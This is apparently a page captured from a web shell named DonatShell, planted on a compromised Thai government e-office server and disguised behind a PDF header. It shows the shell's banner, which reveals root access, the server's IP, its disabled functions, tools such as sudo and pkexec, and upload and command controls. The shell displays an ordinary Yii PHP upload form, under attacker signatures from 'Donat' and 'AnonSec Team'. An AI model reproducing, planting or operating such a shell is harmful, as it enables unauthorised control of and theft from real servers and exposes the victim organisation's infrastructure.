%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/ordernum/views/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/ordernum/views/default/upload.php
<?php

use yii\helpers\Html;
use kartik\widgets\ActiveForm;
use yii\helpers\ArrayHelper;
use yii\helpers\Url;
use dosamigos\datepicker\DatePicker;
use backend\modules\departments\models\Departments;
use backend\modules\ordernum\models\Ordernum;
use Da\QrCode\QrCode;

/* @var $this yii\web\View */
/* @var $model backend\modules\ordernum\models\Ordernum */
/* @var $form yii\widgets\ActiveForm */
$asset = new backend\theme\MetronicAsset();
$asset::register($this);
$directoryAsset = Yii::$app->assetManager->getPublishedUrl($asset->sourcePath);
$list = [0 => 'Morning', 1 => 'Noon', 2 => 'Evening'];

//เช็คปีใหม่ แล้วรีเซ็ตเลขที่คำสั่ง
$date1 = ordernum::find()->orderBy('id DESC')->limit(1)->one(); //หาข้อมูล Last record
$yearnow = Yii::$app->formatter->asDate('now', 'yyyy'); //ปีปัจจุบัน
//$yearnow = 2022;
$yearold = Yii::$app->formatter->asDate($date1->date, 'yyyy'); //ปีของ Last record

if ($yearnow > $yearold) {
    $next = 1;
} else {
    //$next = ordernum::find()->select(['num' => '( MAX(`num`)+ 1) '])->one()->num;
    //$next = ordernum::find()->select(['num' => '( MAX(`num`)+ 1) '])->where(['id' => '( MAX(`id`)) '])->one()->num;
    $next = $date1->num + 1;
}

//$dateold = date("Y-m-d", strtotime('-1 day'));

$timecut = '09:00:00'; //กำหนดเวลาเริ่ม
$timestamp = time(); // ไว้เช็ควันจันทร์
$timenow = date("H:i:s"); //เวลาปัจจุบัน
$timeon = '06:00:00'; //เวลาเปืดระบบ
$timeout = '18:00:00'; //เวลาปิดระบบ
$dayout = array('Sat', 'Sun'); //วันที่ปิดระบบ
//if(date('D', $timestamp) === 'Wed') {
if (date('D', $timestamp) === 'Mon') {
    $dateold = date("Y-m-d", strtotime('-3 day'));
} else {
    $dateold = date("Y-m-d", strtotime('-1 day'));
}
?>
<div class="m-divider">
    <span></span>
    <h3 class="bg-light m--padding-20">เลขคำสั่ง - เพิ่ม/แก้ไข ไฟล์เอกสาร</h3>
    <span></span>
</div>
<?php if ($timenow > $timeon & $timenow < $timeout) { ?>
    <?php if (!in_array(date('D', $timestamp), $dayout)) { ?>
        <div class="ordernum-data-form">
            <div class="m-portlet">
                <?php
                $form = ActiveForm::begin([
                            'type' => ActiveForm::TYPE_HORIZONTAL,
                            'formConfig' => [
                                'labelSpan' => 3,
                                'deviceSize' => ActiveForm::SIZE_SMALL
                            ],
                            'fieldConfig' => [
                                'template' => '<div class="row">{label}{beginWrapper}{input}{error}{endWrapper}</div>',
                                'errorOptions' => [
                                    'encode' => false,
                                    'class' => 'help-block'
                                ]
                            ],
                ]);
                ?>
                <div class="row m-row--no-padding m-row--col-separator-xl">
                    <div class="col-md-6">
                        <div class="m-widget1">
                            <?php if (!$model->isNewRecord) { ?>
                                <h2 style="font-weight: bold">เลขคำสั่ง - เพิ่ม/แก้ไข ไฟล์เอกสาร</h2>
                                <hr>
                                <div class="alert alert-danger" role="alert">
                                    * ต้องการแก้ไขรายละเอียดเอกสาร โปรดติดต่อเจ้าหน้าที่
                                </div>
                                <?= $form->field($model, 'num')->textInput(['readonly' => true, 'maxlength' => true, 'style' => 'height:40px;font-size:25px;font-weight: 600;text-align: center;']) ?>
                            <?php } else { ?>
                                <h2 style="font-weight: bold">เลขคำสั่ง - เพิ่ม/แก้ไข ไฟล์เอกสาร</h2>
                                <hr>
                                <div class="alert alert-danger" role="alert">
                                    * ต้องการแก้ไขรายละเอียดเอกสาร โปรดติดต่อเจ้าหน้าที่
                                </div>
                                <?= $form->field($model, 'num')->textInput(['readonly' => true, 'maxlength' => true, 'style' => 'height:40px;font-size:25px;font-weight: 600;text-align: center;', 'value' => $next])->label('เลขที่ (ถัดไป)') ?>
                            <?php } ?>
                            <?php
                            ?>
                            <?=
                            $form->field($model, 'department')->dropDownList(
                                    ArrayHelper::map(Departments::find()->where(['NOT', ['id' => [12]]])->all(), 'id', 'name'), [
                                'prompt' => 'กรุณาเลือกหน่วยงาน',
                                'disabled' => 'disabled'
                            ]);
                            ?>
                            <?= $form->field($model, 'title')->textarea(['readonly' => true, 'rows' => 6]) ?>
                            <?= $form->field($model, 'name')->textInput(['readonly' => true, 'maxlength' => true]) ?>
                            <?= $form->field($model, 'file')->fileInput() ?>
                            <?= $form->field($model, 'created_at', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                            <?= $form->field($model, 'updated_at', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                            <?= $form->field($model, 'status', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                        </div>
                        <div class="m-widget1">
                            <div class="alert alert-danger" role="alert">
                                * สามารถอัพโหลดไฟล์เอกสารได้แค่ไฟล์เดียวเท่านั้น เมื่ออัพโหลดอีกครั้งจะเป็นการแทนที่ไฟล์เดิม
                            </div>
                        </div>
                        
                        <?php if ($model->file !== "") { ?>
                        <hr>
                        <div class="container text-align-center" style="text-align: center;padding-top: 10px;padding-bottom: 10px;">Link ไฟล์เอกสาร </br> https://office.ppao.go.th/ordernumfiles/<?= $model->file ?></div>
                        <hr>
                        <?php
                            $qrCode = (new QrCode('https://office.ppao.go.th/ordernumfiles/' . $model->file))
                                    ->setSize(550)
                                    ->setMargin(5)
                                    ->useForegroundColor(0, 0, 0);
                            echo '<div style="text-align: center;padding-top: 10px;padding-bottom: 10px;"><img src="' . $qrCode->writeDataUri() . '" class="img-fluid" style="width:300px;"></div>';
                            ?>
                        <?php } ?>
                        
                    </div>
                    <div class="col-md-6">
                        <?php if (!$model->isNewRecord) { ?>
                            <?php
                            if ($model->file !== "") {
                                $file = pathinfo($model->file);
                                if ($file['extension'] == 'jpg' or $file['extension'] == 'jpeg' or $file['extension'] == 'png') {
                                    echo Html::img('https://office.ppao.go.th/ordernumfiles/' . $model->file, ['class' => 'img-fluid']);
                                } else {
                                    ?>
                                    <object data="https://office.ppao.go.th/ordernumfiles/<?= $model->file ?>" type="application/pdf" width="100%" height="1000px"></object>
                                    <?php
                                }
                            } else {
                                echo Html::img('@back/images/nodoc.png', ['class' => 'img-fluid']);
                            }
                            ?>
                        <?php } ?>
                    </div>
                    <div class="col-xl-12">
                        <div class="form-group">

                            <div class="col-xl-12">
                                <div class="m-widget1">
                                    <?= Html::submitButton('บันทึก', ['class' => 'btn btn-lg btn-block btn-success']) ?>
                                </div>
                            </div>

                        </div>
                    </div>
                </div>
                <?php ActiveForm::end(); ?>
            </div>
        </div>
    <?php } else { ?>
        <div class="alert m-alert--default" role="alert" style="text-align: center;">
            ขณะนี้ ระบบปิดการใช้งาน จะเปิดระบบอีกครั้ง เวลา 06.00 น. - 18.00 น. ในวันราชการ
        </div>
    <?php } ?>

<?php } else { ?>
    <div class="alert m-alert--default" role="alert" style="text-align: center;">
        ขณะนี้ ระบบปิดการใช้งาน จะเปิดระบบอีกครั้ง เวลา 06.00 น. - 18.00 น. ในวันราชการ
    </div>
<?php } ?>

Anon7 - 2022
AnonSec Team